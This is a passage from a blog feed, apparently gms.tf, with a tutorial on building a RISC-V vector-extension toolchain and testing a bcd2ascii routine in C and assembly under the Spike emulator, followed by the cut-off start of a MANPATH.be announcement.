class=\"o\">=<\/span><span class=\"nv\">$HOME<\/span>\/local\/riscvv08\/pk<span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">                                                     <\/span>--host<span class=\"o\">=<\/span>riscv64-unknown-elf\n<span class=\"nv\">PATH<\/span><span class=\"o\">=<\/span><span class=\"nv\">$HOME<\/span>\/local\/riscvv08\/gnu\/bin:<span class=\"nv\">$PATH<\/span><span class=\"w\"> <\/span>make\n<span class=\"nv\">PATH<\/span><span class=\"o\">=<\/span><span class=\"nv\">$HOME<\/span>\/local\/riscvv08\/gnu\/bin:<span class=\"nv\">$PATH<\/span><span class=\"w\"> <\/span>make<span class=\"w\"> <\/span>install<\/pre>\n<p>Again make sure to get a recent pk clone with <a href=\"https:\/\/github.com\/riscv\/riscv-isa-sim\/issues\/381\">fixed &quot;V&quot; support<\/a>.<\/p>\n<\/section>\n<section id=\"binutils\">\n<h3><a href=\"#toc-entry-12\">Binutils<\/a><\/h3>\n<p>If you already have the GNU Toolchain you can skip this (as it already contains the <a href=\"https:\/\/github.com\/riscv\/riscv-binutils-gdb\">binutils with &quot;V&quot; support<\/a>).\nThis is just relevant if you have obtained the Proxy-Kernel with &quot;V&quot; support in binary form and want to skip building the GNU Toolchain.<\/p>\n<pre class=\"m-code\">git<span class=\"w\"> <\/span>clone<span class=\"w\"> <\/span>https:\/\/github.com\/riscv\/riscv-binutils-gdb.git<span class=\"w\"> <\/span>--branch<span class=\"w\"> <\/span>rvv-0.8.x<span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">          <\/span>--single-branch<span class=\"w\"> <\/span>--depth<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>risv-binutils-gdb_rvv-0.8.x\nmkdir<span class=\"w\"> <\/span>build\n<span class=\"nb\">cd<\/span><span class=\"w\"> <\/span>build\n..\/configure<span class=\"w\"> <\/span>--prefix<span class=\"o\">=<\/span><span class=\"nv\">$HOME<\/span>\/local\/riscvv08\/binutils<span class=\"w\"> <\/span>--target<span class=\"w\"> <\/span>riscv64-unknown-elf<span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">             <\/span>--enable-multilib\nmake\nmake<span class=\"w\"> <\/span>install<\/pre>\n<\/section>\n<section id=\"assembling\">\n<h3><a href=\"#toc-entry-13\">Assembling<\/a><\/h3>\n<p>Finally, to actually execute our example, a small test program is needed that calls the <code>bcd2ascii()<\/code> function with some sample input and prints the results.\nIf the complete GNU toolchain is available the simplest thing is to write that part in C, e.g.:<\/p>\n<pre class=\"m-code\"><span class=\"cp\">#include<\/span><span class=\"w\"> <\/span><span class=\"cpf\">&lt;stddef.h&gt;<\/span>\n\n<span class=\"kt\">void<\/span><span class=\"w\"> <\/span><span class=\"nf\">bcd2ascii<\/span><span class=\"p\">(<\/span><span class=\"kt\">void<\/span><span class=\"o\">*<\/span><span class=\"w\"> <\/span><span class=\"n\">dst<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">void<\/span><span class=\"o\">*<\/span><span class=\"w\"> <\/span><span class=\"n\">src<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kt\">size_t<\/span><span class=\"w\"> <\/span><span class=\"n\">n<\/span><span class=\"p\">);<\/span>\n\n<span class=\"k\">static<\/span><span class=\"w\"> <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">unsigned<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"n\">inp<\/span><span class=\"p\">[]<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"mh\">0x01<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x23<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x45<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x67<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x89<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0xab<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0xcd<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0xef<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">    <\/span><span class=\"mh\">0xfe<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0xdc<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0xba<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x98<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x76<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x54<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x32<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x10<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">    <\/span><span class=\"mh\">0x01<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x23<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x45<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x67<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x89<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0xab<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0xcd<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0xef<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">    <\/span><span class=\"mh\">0xfe<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0xdc<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0xba<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x98<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x76<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x54<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x32<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x10<\/span>\n<span class=\"p\">};<\/span>\n\n<span class=\"cp\">#include<\/span><span class=\"w\"> <\/span><span class=\"cpf\">&lt;stdio.h&gt;<\/span>\n\n<span class=\"kt\">int<\/span><span class=\"w\"> <\/span><span class=\"nf\">main<\/span><span class=\"p\">()<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"n\">out<\/span><span class=\"p\">[<\/span><span class=\"k\">sizeof<\/span><span class=\"w\"> <\/span><span class=\"n\">inp<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"w\"> <\/span><span class=\"mi\">2<\/span><span class=\"w\"> <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"p\">]<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"mi\">0<\/span><span class=\"p\">};<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ expected output:<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/ out = { &#39;0&#39;, &#39;1&#39;, &#39;2&#39;, &#39;3&#39;, ... }<\/span>\n\n<span class=\"w\">    <\/span><span class=\"n\">bcd2ascii<\/span><span class=\"p\">(<\/span><span class=\"n\">out<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">inp<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"k\">sizeof<\/span><span class=\"w\"> <\/span><span class=\"n\">inp<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">puts<\/span><span class=\"p\">(<\/span><span class=\"n\">out<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span><\/pre>\n<p>Everything can then be cross-assembled, cross-compiled and linked with:<\/p>\n<pre class=\"m-code\">~\/local\/riscvv08\/gnu\/bin\/riscv64-unknown-elf-as<span class=\"w\"> <\/span>-march<span class=\"o\">=<\/span>rv64gcv<span class=\"w\"> <\/span>-o<span class=\"w\"> <\/span>bcd2ascii.o<span class=\"w\"> <\/span>bcd2ascii.s\n~\/local\/riscvv08\/gnu\/bin\/riscv64-unknown-elf-gcc<span class=\"w\"> <\/span>-Wall<span class=\"w\">  <\/span>main_bcd2a.c<span class=\"w\"> <\/span>-o<span class=\"w\"> <\/span>bcd2a<span class=\"w\"> <\/span>bcd2ascii.o<\/pre>\n<p>Supplying just <code>-march=rv64gv<\/code> disables the use of compressed instructions.<\/p>\n<p>Alternatively, without a C cross compiler but cross binutils, we need an assembly test program such as:<\/p>\n<pre class=\"m-code\"><span class=\"w\">    <\/span><span class=\"na\">.text<\/span><span class=\"w\">                     <\/span><span class=\"c1\"># Start text section<\/span>\n<span class=\"w\">    <\/span><span class=\"na\">.balign<\/span><span class=\"w\"> <\/span><span class=\"mi\">4<\/span><span class=\"w\">                 <\/span><span class=\"c1\"># align 4 byte instructions by 4 bytes<\/span>\n<span class=\"w\">    <\/span><span class=\"na\">.global<\/span><span class=\"w\"> <\/span><span class=\"no\">_start<\/span><span class=\"w\">            <\/span><span class=\"c1\"># global<\/span>\n<span class=\"nl\">_start:<\/span>\n<span class=\"w\">                              <\/span><span class=\"c1\"># check if vector extension is enabled<\/span>\n<span class=\"w\">                              <\/span><span class=\"c1\"># user-mode doesn&#39;t have privileges to<\/span>\n<span class=\"w\">                              <\/span><span class=\"c1\"># read mstatus\/sstatus\/misa CSRs<\/span>\n<span class=\"w\">                              <\/span><span class=\"c1\"># thus, unclear how to check for V support<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">li<\/span><span class=\"w\">    <\/span><span class=\"no\">t1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x1800000<\/span><span class=\"w\">       <\/span><span class=\"c1\"># disable this check for now<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">#csrr  t1, mstatus        # control and status register, i.e. read the<\/span>\n<span class=\"w\">                              <\/span><span class=\"c1\"># mstatus register<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">li<\/span><span class=\"w\">    <\/span><span class=\"no\">t2<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"no\">b11<\/span><span class=\"w\">            <\/span><span class=\"c1\"># load immediate mask<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">slli<\/span><span class=\"w\">  <\/span><span class=\"no\">t2<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">t2<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">23<\/span><span class=\"w\">          <\/span><span class=\"c1\"># shift left logical immediate by 23 bits<\/span>\n<span class=\"w\">                              <\/span><span class=\"c1\"># because &quot;V&quot; draft 0.8 defines the vector<\/span>\n<span class=\"w\">                              <\/span><span class=\"c1\"># context status field VS as mstatus[24:23]<\/span>\n<span class=\"w\">                              <\/span><span class=\"c1\"># (0b00 -&gt; off, 0b01 -&gt; initial, 0b10 -&gt; clean,<\/span>\n<span class=\"w\">                              <\/span><span class=\"c1\">#  0b11 -&gt; dirty)<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">and<\/span><span class=\"w\">   <\/span><span class=\"no\">t3<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">t1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">t2<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">beqz<\/span><span class=\"w\">  <\/span><span class=\"no\">t3<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">v_disabled_error<\/span>\n\n<span class=\"w\">                              <\/span><span class=\"c1\"># Prepare calling bcd2ascii()<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">addi<\/span><span class=\"w\">  <\/span><span class=\"no\">sp<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">sp<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">-68<\/span><span class=\"w\">         <\/span><span class=\"c1\"># grow stack by 64+4 bytes, some additional<\/span>\n<span class=\"w\">                              <\/span><span class=\"c1\"># space but keep it 4 byte aligned<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">mv<\/span><span class=\"w\">    <\/span><span class=\"no\">a0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">sp<\/span><span class=\"w\">              <\/span><span class=\"c1\"># store output on stack<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">lui<\/span><span class=\"w\">   <\/span><span class=\"no\">a1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%hi<\/span><span class=\"p\">(<\/span><span class=\"no\">inp<\/span><span class=\"p\">)<\/span><span class=\"w\">        <\/span><span class=\"c1\"># load start address of<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">addi<\/span><span class=\"w\">  <\/span><span class=\"no\">a1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">a1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%lo<\/span><span class=\"p\">(<\/span><span class=\"no\">inp<\/span><span class=\"p\">)<\/span><span class=\"w\">    <\/span><span class=\"c1\"># the input string<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">li<\/span><span class=\"w\">    <\/span><span class=\"no\">a2<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">32<\/span><span class=\"w\">              <\/span><span class=\"c1\"># load immediate: sizeof inp<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">call<\/span><span class=\"w\">  <\/span><span class=\"no\">bcd2ascii<\/span><span class=\"w\">           <\/span><span class=\"c1\"># we don&#39;t need to save\/restore our<\/span>\n<span class=\"w\">                              <\/span><span class=\"c1\"># return address because we don&#39;t return ...<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">li<\/span><span class=\"w\">    <\/span><span class=\"no\">t0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0xa<\/span><span class=\"w\">             <\/span><span class=\"c1\"># load immediate: newline<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">sb<\/span><span class=\"w\">    <\/span><span class=\"no\">t0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">64<\/span><span class=\"p\">(<\/span><span class=\"no\">sp<\/span><span class=\"p\">)<\/span><span class=\"w\">          <\/span><span class=\"c1\"># store byte<\/span>\n<span class=\"w\">                              <\/span><span class=\"c1\"># i.e. terminate output string with &#39;\\n&#39;<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">li<\/span><span class=\"w\">    <\/span><span class=\"no\">a0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"w\">               <\/span><span class=\"c1\"># stdout<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">mv<\/span><span class=\"w\">    <\/span><span class=\"no\">a1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">sp<\/span><span class=\"w\">              <\/span><span class=\"c1\"># read output located on the stack<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">li<\/span><span class=\"w\">    <\/span><span class=\"no\">a2<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">65<\/span><span class=\"w\">              <\/span><span class=\"c1\"># i.e. 64+1 characters<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">li<\/span><span class=\"w\">    <\/span><span class=\"no\">a7<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">64<\/span><span class=\"w\">              <\/span><span class=\"c1\"># write syscall number<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">ecall<\/span><span class=\"w\">                     <\/span><span class=\"c1\"># call write(2)<\/span>\n\n<span class=\"w\">    <\/span><span class=\"nf\">li<\/span><span class=\"w\">    <\/span><span class=\"no\">a0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"w\">               <\/span><span class=\"c1\"># set exit status to zero<\/span>\n<span class=\"nl\">exit:<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">li<\/span><span class=\"w\">    <\/span><span class=\"no\">a7<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">93<\/span><span class=\"w\">              <\/span><span class=\"c1\"># exit syscall number<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">ecall<\/span><span class=\"w\">                     <\/span><span class=\"c1\"># call exit(2)<\/span>\n<span class=\"err\">1:<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">j<\/span><span class=\"w\">     <\/span><span class=\"mi\">1<\/span><span class=\"no\">b<\/span><span class=\"w\">                  <\/span><span class=\"c1\"># loop forever in case exit failed ...<\/span>\n\n<span class=\"nl\">v_disabled_error:<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">li<\/span><span class=\"w\">    <\/span><span class=\"no\">a0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">2<\/span><span class=\"w\">               <\/span><span class=\"c1\"># stderr<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">lui<\/span><span class=\"w\">   <\/span><span class=\"no\">a1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%hi<\/span><span class=\"p\">(<\/span><span class=\"no\">err_msg<\/span><span class=\"p\">)<\/span><span class=\"w\">    <\/span><span class=\"c1\"># load error message start address<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">addi<\/span><span class=\"w\">  <\/span><span class=\"no\">a1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">a1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%lo<\/span><span class=\"p\">(<\/span><span class=\"no\">err_msg<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">lui<\/span><span class=\"w\">   <\/span><span class=\"no\">a2<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%hi<\/span><span class=\"p\">(<\/span><span class=\"no\">err_msg_size<\/span><span class=\"p\">)<\/span><span class=\"w\">     <\/span><span class=\"c1\"># load error message size<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">addi<\/span><span class=\"w\">  <\/span><span class=\"no\">a2<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">a2<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%lo<\/span><span class=\"p\">(<\/span><span class=\"no\">err_msg_size<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">li<\/span><span class=\"w\">    <\/span><span class=\"no\">a7<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">64<\/span><span class=\"w\">              <\/span><span class=\"c1\"># write syscall number<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">ecall<\/span><span class=\"w\">                     <\/span><span class=\"c1\"># call write(2)<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">li<\/span><span class=\"w\">    <\/span><span class=\"no\">a0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"w\">               <\/span><span class=\"c1\"># load immediate exit argument<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">j<\/span><span class=\"w\">     <\/span><span class=\"no\">exit<\/span>\n\n\n<span class=\"w\">    <\/span><span class=\"na\">.section<\/span><span class=\"w\"> <\/span><span class=\"no\">.rodata<\/span><span class=\"w\">          <\/span><span class=\"c1\"># Start read-only data section<\/span>\n<span class=\"w\">    <\/span><span class=\"na\">.balign<\/span><span class=\"w\"> <\/span><span class=\"mi\">4<\/span><span class=\"w\">                 <\/span><span class=\"c1\"># align to 4 bytes<\/span>\n<span class=\"nl\">inp:<\/span>\n<span class=\"w\">    <\/span><span class=\"na\">.byte<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x01<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x23<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x45<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x67<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x89<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0xab<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0xcd<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0xef<\/span>\n<span class=\"w\">    <\/span><span class=\"na\">.byte<\/span><span class=\"w\"> <\/span><span class=\"mi\">0xfe<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0xdc<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0xba<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x98<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x76<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x54<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x32<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x10<\/span>\n<span class=\"w\">    <\/span><span class=\"na\">.byte<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x01<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x23<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x45<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x67<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x89<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0xab<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0xcd<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0xef<\/span>\n<span class=\"w\">    <\/span><span class=\"na\">.byte<\/span><span class=\"w\"> <\/span><span class=\"mi\">0xfe<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0xdc<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0xba<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x98<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x76<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x54<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x32<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x10<\/span>\n<span class=\"nl\">err_msg:<\/span>\n<span class=\"w\">    <\/span><span class=\"na\">.string<\/span><span class=\"w\"> <\/span><span class=\"s\">&quot;ERROR: RISC-V &#39;V&#39; vector extension is disabled!\\n&quot;<\/span>\n<span class=\"w\">    <\/span><span class=\"na\">.set<\/span><span class=\"w\"> <\/span><span class=\"no\">err_msg_size<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"p\">.<\/span><span class=\"w\"> <\/span><span class=\"p\">-<\/span><span class=\"w\"> <\/span><span class=\"no\">err_msg<\/span><\/pre>\n<p>Cross-assembling and linking everything:<\/p>\n<pre class=\"m-code\">~\/local\/riscvv08\/riscv64-unknown-elf\/bin\/as<span class=\"w\"> <\/span>-march<span class=\"o\">=<\/span>rv64gcv<span class=\"w\"> <\/span>-o<span class=\"w\"> <\/span>bcd2ascii.o<span class=\"w\"> <\/span>bcd2ascii.s\n~\/local\/riscvv08\/riscv64-unknown-elf\/bin\/as<span class=\"w\"> <\/span>-march<span class=\"o\">=<\/span>rv64gcv<span class=\"w\"> <\/span>-o<span class=\"w\"> <\/span>start_bcd2a.o<span class=\"w\"> <\/span>start_bcd2a.s\n~\/local\/riscvv08\/riscv64-unknown-elf\/bin\/ld<span class=\"w\"> <\/span>start_bcd2a.o<span class=\"w\"> <\/span>bcd2ascii.o<span class=\"w\"> <\/span>-o<span class=\"w\"> <\/span>bcd2a<\/pre>\n<p>Of course, my repository also contains a <a href=\"https:\/\/github.com\/gsauthof\/riscv\/blob\/master\/makefile\">makefile<\/a> to simplify building the example.<\/p>\n<\/section>\n<section id=\"emulating\">\n<h3><a href=\"#toc-entry-14\">Emulating<\/a><\/h3>\n<p>Example emulating session:<\/p>\n<pre class=\"m-console\"><span class=\"gp\">$ <\/span>~\/local\/riscvv08\/spike\/bin\/spike<span class=\"w\"> <\/span>--isa<span class=\"o\">=<\/span>RV64gcV<span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">        <\/span>~\/local\/riscvv08\/riscv64-unknown-elf\/bin\/pk<span class=\"w\"> <\/span>bcd2a\n<span class=\"go\">bbl loader<\/span>\n<span class=\"go\">0123456789abcdeffedcba98765432100123456789abcdeffedcba9876543210<\/span><\/pre>\n<p>Spike also has an interactive mode that allows to step through the instructions, inspect registers etc. For example:<\/p>\n<pre class=\"m-console\"><span class=\"gp\">$ <\/span>~\/local\/riscvv08\/spike\/bin\/spike<span class=\"w\"> <\/span>-d<span class=\"w\"> <\/span>--isa<span class=\"o\">=<\/span>RV64gcV<span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">        <\/span>~\/local\/riscvv08\/riscv64-unknown-elf\/bin\/pk<span class=\"w\"> <\/span>bcd2a\n<span class=\"go\">: until pc 0 100e2<\/span>\n<span class=\"go\">bbl loader<\/span>\n<span class=\"go\">: vreg 0 8<\/span>\n<span class=\"go\">VLEN=128 bits; ELEN=32 bits<\/span>\n<span class=\"go\">v8  : [3]: 0x00000000  [2]: 0x020ae6a0  [1]: 0x00000000  [0]: 0x020ae630<\/span>\n<span class=\"go\">:<\/span>\n<span class=\"go\">core   0: 0x00000000000100e2 (0x5208a457) vid.v   v8<\/span>\n<span class=\"go\">: vreg 0 8<\/span>\n<span class=\"go\">VLEN=128 bits; ELEN=32 bits<\/span>\n<span class=\"go\">v8  : [3]: 0x0f0e0d0c  [2]: 0x0b0a0908  [1]: 0x07060504  [0]: 0x03020100<\/span>\n<span class=\"go\">: q<\/span><\/pre>\n<p>In comparison with GDB the interactive prompt is a bit spartanic and doesn't really report syntactic errors in the interactive commands, but it's sufficient.\nThe help can be displayed with <code>h<\/code>, <code>&lt;ENTER&gt;<\/code> steps to the next instruction and <code>q<\/code> quits it.<\/p>\n<p>The address <code>100e2<\/code> in the above example session comes from the disassembled <code>bcd2a<\/code> executable (i.e. using objdump).<\/p>\n<\/section>\n<\/section>\n<section id=\"see-also\">\n<h2><a href=\"#toc-entry-15\">See Also<\/a><\/h2>\n<p>The <a href=\"https:\/\/github.com\/riscv\/riscv-v-spec\/releases\/tag\/0.8\">RISC-V &quot;V&quot; vector specification version 0.8<\/a> contains some examples (such as <code>memcpy()<\/code> and SGEMM) in Appendix A and some more interleaved in the main sections.\nFor example, <code>strcpy()<\/code> and <code>strncpy()<\/code> are listed in Section 16 (Vector Mask Instructions), Subsection 16.7, page 76.<\/p>\n<p>Another project of mine contains a heavily commented <a href=\"https:\/\/github.com\/gsauthof\/libxfsx\/blob\/master\/xfsx\/bcd\/decode.hh\">collection of BCD decoding\/encoding functions<\/a> with optimized portable variants (i.e. just requiring C\/C++) down to variants that invoke x86 SIMD vector intrinsics and other x86 specific intrinsics.<\/p>\n<\/section>\n","category":[{"@attributes":{"term":"programming"}},{"@attributes":{"term":"riscv"}},{"@attributes":{"term":"assembly"}},{"@attributes":{"term":"vector"}}]},{"title":"Announcing MANPATH.be","link":{"@attributes":{"href":"https:\/\/gms.tf\/announcing-manpathbe.html","rel":"alternate"}},"published":"2019-07-07T14:00:00+02:00","updated":"2019-07-07T14:00:00+02:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2019-07-07:\/announcing-manpathbe.html","summary":"<p>Recently, I launched <a href=\"https:\/\/manpath.be\/\">MANPATH.be<\/a> - a site for convenient <a href=\"https:\/\/en.wikipedia.org\/wiki\/Man_page\">man\npage<\/a> browsing. It provides access to the man pages of\ndifferent distributions, including <a href=\"https:\/\/en.wikipedia.org\/wiki\/Fedora_(operating_system)\">Fedora<\/a>, <a href=\"https:\/\/en.wikipedia.org\/wiki\/CentOS\">CentOS<\/a> and\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/OpenSolaris\">OpenSolaris<\/a>. The <a href=\"https:\/\/manpath.be\/about\">about page<\/a> concisely describes some\nof the sites features, e.g.  human readable links like\n<a 